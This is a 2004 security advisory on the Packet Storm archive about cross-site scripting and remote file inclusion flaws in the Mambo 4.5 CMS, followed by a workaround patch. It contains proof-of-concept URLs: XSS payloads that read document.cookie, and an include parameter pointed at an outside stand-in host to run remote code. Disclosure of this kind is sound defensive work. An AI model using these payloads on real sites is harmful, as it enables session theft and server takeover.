what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mambo45.jose.txt

mambo45.jose.txt
Posted Sep 21, 2004
Authored by Joxean Koret

Mambo versions 4.5 and below are susceptible to cross site scripting and remote command execution flaws.

tags | exploit, remote, xss
SHA-256 | f1adb6277c56b90345f1a0481e0f3f0ec78fce087033de3e0c2aa3b0ec129889

mambo45.jose.txt

Change Mirror Download


---------------------------------------------------------------------------
Two Vulnerabilities in Mambo
---------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mambo 4.5 (1.0.9)

Mambo is one of the most powerful Open
Source Content Management Systems on
the planet. It is used all over the world for
everything from simple websites
to complex corporate applications. Mambo is
easy to install, simple to manage,
and reliable.

Web : https://mamboserver.com/

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting

A1. The first vulnerability that I found is in the
script index.php. The following
parameters are vulnerables : Itemid, mosmsg
and limit.

Examples :

https://<site-with-mambo>/index.php?option=com_content&task=view&id=18&Itemid=39"><script>alert(document.cookie)</script>&mosmsg=<h1>Hi,
%20I%20am%20an%20XSS%
20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

https://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert(document.cookie)</script>&limitstart=1

B. Remote Code Execution

B1. The simple hack made to the Cache_library
makes mambo vulnerable to a
remote arbitrary code execution attacks.

Example :

https://<site-with-mambo>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=https://fucking.site.com/

Workaround:
~~~~~~~~~~~

The file
mambo/includes/Cache/Lite/Function.php looks
like :

<?php

/**
* This class extends Cache_Lite and can be
used to cache the result and output of
functions/methods
*
* This class is completly inspired from
Sebastian Bergmann's
* PEAR/Cache_Function class. This is only an
adaptation to
* Cache_Lite
*
* There are some examples in the
'docs/examples' file
* Technical choices are described in the
'docs/technical' file
*
* @package Cache_Lite
* @version $Id: Function.php,v 1.1 2004/07/21
13:38:58 rcastley Exp $
* @author Sebastian BERGMANN
<sb@sebastian-bergmann.de>
* @author Fabien MARTY <fab@php.net>
*/

require_once($mosConfig_absolute_path .
'/includes/Cache/Lite.php');

class Cache_Lite_Function extends Cache_Lite
...


Simply add the following 2 lines before the
require_once statement :

/** ensure this file is being included by a parent
file */
defined( '_VALID_MOS' ) or die( 'Direct Access to
this location is not allowed.' );

The fix:
~~~~~~~~

The bugs are fixed in the CVS version.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its
demonstrations is provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of
using the information or demonstrations
provided in any part of this
advisory.

---------------------------------------------------------------------------

Contact:
~~~~~~~~

Joxean Koret at
joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close